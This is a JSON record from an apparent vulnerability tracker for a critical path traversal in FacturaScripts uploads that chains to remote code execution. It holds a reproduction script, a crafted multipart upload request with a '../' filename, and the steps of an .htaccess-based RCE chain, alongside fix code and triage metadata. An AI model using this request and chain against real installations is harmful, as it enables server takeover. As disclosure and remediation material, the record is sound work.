{"id":"CVE-2026-77526","kind":"vulnerability","aliases":["CVE-2026-77526","GHSA-hgjx-r89m-m7v4"],"related":[],"title":"FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to   RCE","description":"## Summary\n\n`FacturaScripts\\Core\\UploadedFile::move($destiny, $destinyName)` concatenates `$destiny` and `$destinyName` without normalizing the resulting path. Every caller in the codebase passes `UploadedFile::getClientOriginalName()` — the unsanitized client-supplied filename — as `$destinyName`, so an authenticated user submitting a filename containing `../` segments can write the uploaded content to any directory writable by the web-server user, escaping the intended `MyFiles/` location.\n\nBecause the shipped `htaccess-sample` (the documented production Apache configuration) excludes `Dinamic/Assets/` and `node_modules/` from the `index.php` rewrite, files written into those directories are served directly by Apache. Combined with `.htaccess` not being in `BLOCKED_EXTENSIONS`, the primitive escalates from arbitrary file write to remote code execution.\n\n## Vulnerable Code\n\n`Core/UploadedFile.php`:\n\n```php\nprivate const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];\n\npublic function move(string $destiny, string $destinyName): bool\n{\n    if (!$this->isValid()) {\n        return false;\n    }\n    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n        $destiny .= DIRECTORY_SEPARATOR;\n    }\n    return $this->test ?\n        rename($this->tmp_name, $destiny . $destinyName) :\n        move_uploaded_file($this->tmp_name, $destiny . $destinyName);\n}\n\npublic function getClientOriginalName(): string\n{\n    return $this->name ?? '';\n}\n```\n\n`isValid()` only checks the extension blocklist, the upload error code, and `is_uploaded_file()` — it never inspects the filename for directory separators or `..` segments.\n\nSix call sites pass the raw client filename straight into `move()`:\n\n- `Core/Controller/ApiUploadFiles.php:58` — `POST /api/3/uploadfiles`\n- `Core/Controller/ApiAttachedFiles.php:136` — `POST /api/3/attachedfiles`\n- `Core/Lib/Widget/WidgetFile.php:84` — every form using a file widget\n- `Core/Lib/Widget/WidgetLibrary.php:215` — library widget upload\n- `Core/Lib/ExtendedController/DocFilesTrait.php:51` — document files trait\n- `Core/Controller/AdminPlugins.php:260` — plugin (zip) upload\n\nRepresentative sink — `Core/Controller/ApiUploadFiles.php:56-79`:\n\n```php\nprivate function uploadFile(UploadedFile $uploadFile): ?AttachedFile\n{\n    if (false === $uploadFile->isValid()) {\n        return null;\n    }\n    $destiny = FS_FOLDER . '/MyFiles/';\n    $destinyName = $uploadFile->getClientOriginalName();\n    if (file_exists($destiny . $destinyName)) {\n        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;\n    }\n    if ($uploadFile->move($destiny, $destinyName)) {\n        ...\n    }\n}\n```\n\nShipped `htaccess-sample` (production Apache rules):\n\n```apache\n<IfModule mod_rewrite.c>\n   RewriteEngine On\n   RewriteBase /\n   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]\n   RewriteCond %{REQUEST_URI} !node_modules/ [NC]\n   RewriteRule . index.php [L]\n</IfModule>\n```\n\nApache therefore serves any file under `Dinamic/Assets/` directly, bypassing `index.php` entirely.\n\n## PoC\n\n### Step 1 — Static reproduction of the file-write primitive\n\nThe following script replicates `UploadedFile::move()`'s `rename()` path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes `MyFiles/` when the filename contains `../`.\n\n```php\n<?php\n$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();\nmkdir($base);\nmkdir($base . '/MyFiles');\nmkdir($base . '/Dinamic');\nmkdir($base . '/Dinamic/Assets');\n\n$tmp = $base . '/tmp_upload.dat';\nfile_put_contents($tmp, \"static-verification-marker\\n\");\n\nfunction fs_move($tmp_name, $destiny, $destinyName) {\n    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n        $destiny .= DIRECTORY_SEPARATOR;\n    }\n    return rename($tmp_name, $destiny . $destinyName);\n}\n\nfs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');\n\necho file_exists($base . '/Dinamic/Assets/traversed.txt')\n    ? \"WRITTEN OUTSIDE MyFiles\\n\"\n    : \"blocked\\n\";\n```\n\nOutput:\n\n```\nWRITTEN OUTSIDE MyFiles\n```\n\n### Step 2 — Equivalent live HTTP request\n\n```http\nPOST /api/3/uploadfiles HTTP/1.1\nHost: target\nToken: <valid-api-token>\nContent-Type: multipart/form-data; boundary=---X\n\n-----X\nContent-Disposition: form-data; name=\"files[]\"; filename=\"../Dinamic/Assets/traversed.txt\"\nContent-Type: text/plain\n\nstatic-verification-marker\n-----X--\n```\n\nAfter the request, `Dinamic/Assets/traversed.txt` exists on disk and is reachable at `https://target/Dinamic/Assets/traversed.txt` — Apache serves it directly because the path is excluded from the `index.php` rewrite.\n\n### Step 3 — Chain to code execution\n\nBecause `.htaccess` is not in `BLOCKED_EXTENSIONS`, the same primitive can write an Apache override into `Dinamic/Assets/`:\n\n1. Upload with filename `../Dinamic/Assets/.htaccess` and body `AddType application/x-httpd-php .png`\n2. Upload with filename `../Dinamic/Assets/x.png` containing a PHP payload (extension `png` is not blocked, content is not validated by `isValid()`)\n3. Request `https://target/Dinamic/Assets/x.png` — Apache hands it to the PHP handler per the uploaded `.htaccess`\n\n## Root Cause\n\n`UploadedFile::move()` performs raw `$destiny . $destinyName` concatenation and trusts `getClientOriginalName()`, which returns `$this->name ?? ''` with no normalization. No call site applies `basename()` or any equivalent before passing the client filename to `move()`. The blocklist in `BLOCKED_EXTENSIONS` covers only PHP-family extensions and does not cover `htaccess`, which is required for the rewrite-excluded directory to be useful for code execution.\n\n## Impact\n\nAuthenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with `uploadfiles`/`attachedfiles` access) can:\n\n- Write arbitrary content to any path under the application root that is writable by the web-server user, including `Dinamic/Assets/` (Apache-direct-served) and `node_modules/`.\n- Overwrite shipped JS/CSS inside `Dinamic/Assets/`, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.\n- Drop a `.htaccess` into `Dinamic/Assets/` remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.\n\nThe required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.\n\n## Fix\n\nMinimal fix — sanitize inside `UploadedFile::move()` so every call site is covered automatically:\n\n```php\npublic function move(string $destiny, string $destinyName): bool\n{\n    if (!$this->isValid()) {\n        return false;\n    }\n    // strip any directory component from the client-supplied filename\n    $destinyName = basename($destinyName);\n    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n        $destiny .= DIRECTORY_SEPARATOR;\n    }\n    return $this->test ?\n        rename($this->tmp_name, $destiny . $destinyName) :\n        move_uploaded_file($this->tmp_name, $destiny . $destinyName);\n}\n```\n\nApply the same change in `moveTo()`.\n\nRecommended hardening in addition:\n\n- Add `htaccess`, `htm`, `html`, `shtml`, `phtm` to `BLOCKED_EXTENSIONS`, or replace the blocklist with an allowlist resolved per call site.\n- After concatenating the final destination, verify with `realpath()` that the result is still inside the intended base directory; abort otherwise.\n- Drop a `Deny from all` `.htaccess` (or equivalent web-server rule) into `MyFiles/` so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces `MyFilesToken`).\n\n## Status\n\nReported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.","summary":"FacturaScripts builds upload destinations by joining the client-supplied filename without stripping directory segments, so a filename containing ../ writes outside the MyFiles folder. Because the sample Apache config serves files under Dinamic/Assets directly and .htaccess is not blocked, an authenticated user with upload rights can reach remote code execution as the web-server user.","severity":"critical","cvss":9.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"facturascripts/facturascripts","fixed":["2026.3"],"affected":">= 2025, <= 2026.2","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["apache","cwe-22","cwe-434","facturascripts","package","php","self-hosted"],"not_affected_if":["no-upload-access-granted","version-2026.3-or-later"],"how_to_check":"- Check the installed version: `composer show facturascripts/facturascripts` and look for a version from `2025` up to `2026.2`.\n- Look for `$destinyName = $uploadFile->getClientOriginalName();` or calls to `UploadedFile::move()` that pass the raw filename in `Core/Controller/ApiUploadFiles.php`, `Core/Lib/Widget/WidgetFile.php` and related files.\n- Check whether `UploadedFile::move()` in `Core/UploadedFile.php` calls `basename()` on `$destinyName`.\n- Check whether the live `.htaccess` excludes `Dinamic/Assets/` from the `index.php` rewrite.","fix":"- facturascripts/facturascripts: move to `2026.3`","status":"open","published_at":"2026-07-14T20:52:00+00:00","first_seen_at":"2026-11-02T23:04:40+00:00","triaged_at":"2026-11-02T23:04:47+00:00","updated_at":"2026-11-02T23:04:47+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-02T23:04:47Z","model":"claude-haiku-5-5","output":{"fix":"- facturascripts/facturascripts: move to `2026.3`","reach":"internet","title":"FacturaScripts: uploaded filenames can write files outside MyFiles, leading to code execution","impact":"high","summary":"FacturaScripts builds upload destinations by joining the client-supplied filename without stripping directory segments, so a filename containing ../ writes outside the MyFiles folder. Because the sample Apache config serves files under Dinamic/Assets directly and .htaccess is not blocked, an authenticated user with upload rights can reach remote code execution as the web-server user.","audience":"businesses","category":"package","nicknames":[],"who_cares":["facturascripts","php","apache","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker runs PHP code on the web server as the web-server user.","analyst_note":"Confirm the 2026.3 fix commit and whether the advisory's recommended basename() fix is in it: https://github.com/advisories/GHSA-hgjx-r89m-m7v4","how_to_check":"- Check the installed version: `composer show facturascripts/facturascripts` and look for a version from `2025` up to `2026.2`.\n- Look for `$destinyName = $uploadFile->getClientOriginalName();` or calls to `UploadedFile::move()` that pass the raw filename in `Core/Controller/ApiUploadFiles.php`, `Core/Lib/Widget/WidgetFile.php` and related files.\n- Check whether `UploadedFile::move()` in `Core/UploadedFile.php` calls `basename()` on `$destinyName`.\n- Check whether the live `.htaccess` excludes `Dinamic/Assets/` from the `index.php` rewrite.","plain_action":"","needs_analyst":true,"not_affected_if":["version-2026.3-or-later","no-upload-access-granted"],"who_is_affected":"Any FacturaScripts installation from `2025` through `2026.2` where a user with upload rights, or an API token with upload access, can reach the file upload endpoints or form widgets. Installations using the shipped htaccess-sample are easier to exploit because files written under Dinamic/Assets are served directly by Apache. Installations on `2026.3` or later are not affected.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.001158,"input_tokens":7450,"output_tokens":826,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-1':240C,502C '-2026':18A,26A '-22':31B '-434':33B '-77526':19A,27A '-79':340C '/api/3/attachedfiles':312C '/api/3/uploadfiles':308C '/dinamic':476C '/dinamic/assets':479C '/dinamic/assets/traversed.txt':519C,524C '/myfiles':357C,473C,518C '/tmp_upload.dat':482C '1':369C,415C '136':310C '215':322C '260':332C '51':327C '56':339C '58':306C '84':314C '999999':370C 'apach':29B,67B,166C,186C,382C,384C,402C 'arbitrari':9A,199C 'attachedfil':347C 'authent':80B,130C 'base':459C,470C,472C,475C,478C,481C,517C,523C 'block':78B,193C,212C 'blocklist':275C 'bool':231C 'build':41B 'bypass':410C 'call':295C 'caller':113C 'check':272C 'client':48B,123C,300C 'client-suppli':47B,122C 'code':88B,204C,207C,279C 'codebas':116C 'combin':187C 'concaten':103C 'config':68B 'configur':167C 'const':211C 'contain':58B,135C,456C 'content':141C,485C 'core':98C 'core/controller/adminplugins.php':331C 'core/controller/apiattachedfiles.php':309C 'core/controller/apiuploadfiles.php':305C,338C 'core/lib/extendedcontroller/docfilestrait.php':326C 'core/lib/widget/widgetfile.php':313C 'core/lib/widget/widgetlibrary.php':321C 'core/uploadedfile.php':208C 'cve':17A,25A 'cwe':30B,32B 'demonstr':447C 'destin':43B,450C 'destini':101C,104C,228C,239C,243C,253C,261C,354C,364C,375C,497C,501C,505C,512C 'destinynam':102C,106C,127C,230C,254C,262C,358C,365C,366C,371C,376C,498C,513C 'dinamic/assets':72B,169C,391C,408C 'dir':463C 'direct':73B,184C,409C 'directori':53B,144C,181C,241C,244C,290C,438C,464C,503C,506C 'document':164C,328C 'echo':520C 'entir':412C 'error':278C 'escal':197C 'escap':152C,451C 'everi':112C,315C 'exclud':168C 'execut':89B,205C 'exist':363C,522C 'extens':194C,213C,274C 'facturascript':1A,34B,40B,97C 'facturascripts/facturascripts':28A 'fals':236C,349C 'file':10A,70B,177C,200C,257C,283C,319C,329C,362C,406C,421C,483C,521C 'file-writ':420C 'filenam':50B,57B,125C,134C,288C,301C,455C 'folder':63B,356C 'follow':425C 'form':316C 'fs':355C,466C,493C,514C 'function':225C,264C,343C,492C 'get':461C 'getclientoriginalnam':8A,119C,265C,360C 'ghsa':21A 'ghsa-hgjx-r89m-m7v4':20A 'hgjx':22A 'host':39B 'htaccess':75B,161C,189C,379C 'htaccess-sampl':160C,378C 'index.php':175C,400C,411C 'insid':434C 'inspect':286C 'intend':154C 'isvalid':234C,270C,351C 'join':45B 'l':401C 'lead':14A 'librari':323C 'locat':156C 'm7v4':24A 'marker':490C 'mkdir':469C,471C,474C,477C 'modul':172C,397C 'move':6A,100C,226C,255C,304C,374C,429C,494C,515C 'mt':367C 'myfil':13A,62B,155C,452C 'n':491C 'name':252C,260C,269C,496C,511C 'nc':392C,398C 'never':285C 'node':171C,396C 'normal':108C 'null':353C 'outsid':12A,60B 'packag':35B 'pass':117C,297C 'path':2A,111C,432C 'payload':444C 'phar':214C 'php':36B,209C,215C,341C,457C,458C 'php3':216C 'php4':217C 'php5':218C 'php7':219C 'php8':220C 'phps':223C 'pht':221C 'phtml':222C 'plugin':333C 'poc':413C 'post':307C,311C 'primit':196C,423C 'privat':210C,342C 'product':165C,381C 'public':224C,263C 'put':484C 'r89m':23A 'rand':368C 'raw':299C 'rce':16A 'reach':86B 'remot':87B,203C 'renam':249C,431C,509C 'replic':427C 'repres':336C 'reproduct':417C 'request':389C,394C 'result':110C 'return':235C,246C,267C,352C,508C 'rewrit':176C 'rewritebas':387C 'rewritecond':388C,393C 'rewriteengin':385C 'rewriterul':399C 'right':84B 'rule':383C 'run':442C 'sampl':66B,162C,380C 'sandbox':436C 'script':426C 'segment':54B,136C,293C 'self':38B 'self-host':37B 'separ':242C,245C,291C,465C,504C,507C 'serv':69B,183C,404C 'server':94B,150C 'ship':159C,377C 'sink':337C 'site':296C 'six':294C 'static':416C,488C 'static-verification-mark':487C 'step':414C 'straight':302C 'string':227C,229C,266C 'strip':52B 'submit':132C 'substr':238C,500C 'summari':96C 'suppli':49B,124C 'sys':460C 'temp':437C,462C 'test':248C 'therefor':403C 'tmp':251C,259C,480C,486C,495C,510C,516C 'trait':330C 'travers':3A 'uniqid':468C 'unsanit':121C 'upload':42B,83B,140C,256C,277C,282C,325C,335C 'uploadedfil':5A,99C,118C,345C,428C 'uploadfil':344C,346C,350C,359C,373C 'uri':390C,395C 'use':317C 'user':81B,95B,131C,151C 'verbatim':433C 'verif':489C 'verifi':467C 'via':7A 'vulner':206C 'web':93B,149C 'web-serv':92B,148C 'widget':320C,324C 'without':51B,107C 'writabl':145C 'write':11A,59B,138C,201C,422C 'written':178C 'zip':334C","nicknames":[],"mitigations":[],"who_affected":"Any FacturaScripts installation from `2025` through `2026.2` where a user with upload rights, or an API token with upload access, can reach the file upload endpoints or form widgets. Installations using the shipped htaccess-sample are easier to exploit because files written under Dinamic/Assets are served directly by Apache. Installations on `2026.3` or later are not affected.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["facturascriptsfacturascripts"],"ptokens":["facturascripts"],"labels":["apache","composer","critical","cwe22","cwe434","facturascripts","package","php","selfhosted"],"first_public_at":"2026-07-14T20:52:00+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-hgjx-r89m-m7v4","url":"https://github.com/advisories/GHSA-hgjx-r89m-m7v4","severity":"critical","published_at":"2026-07-14T20:52:00+00:00","modified_at":"2026-11-02T23:03:15+00:00","first_seen_at":"2026-11-02T23:04:40+00:00","fetched_at":"2026-11-02T23:04:40+00:00","note":null}],"documents":[{"id":54292,"url":"https://api.github.com/repos/NeoRazorX/facturascripts/security-advisories/GHSA-hgjx-r89m-m7v4","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":54293,"url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-hgjx-r89m-m7v4","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}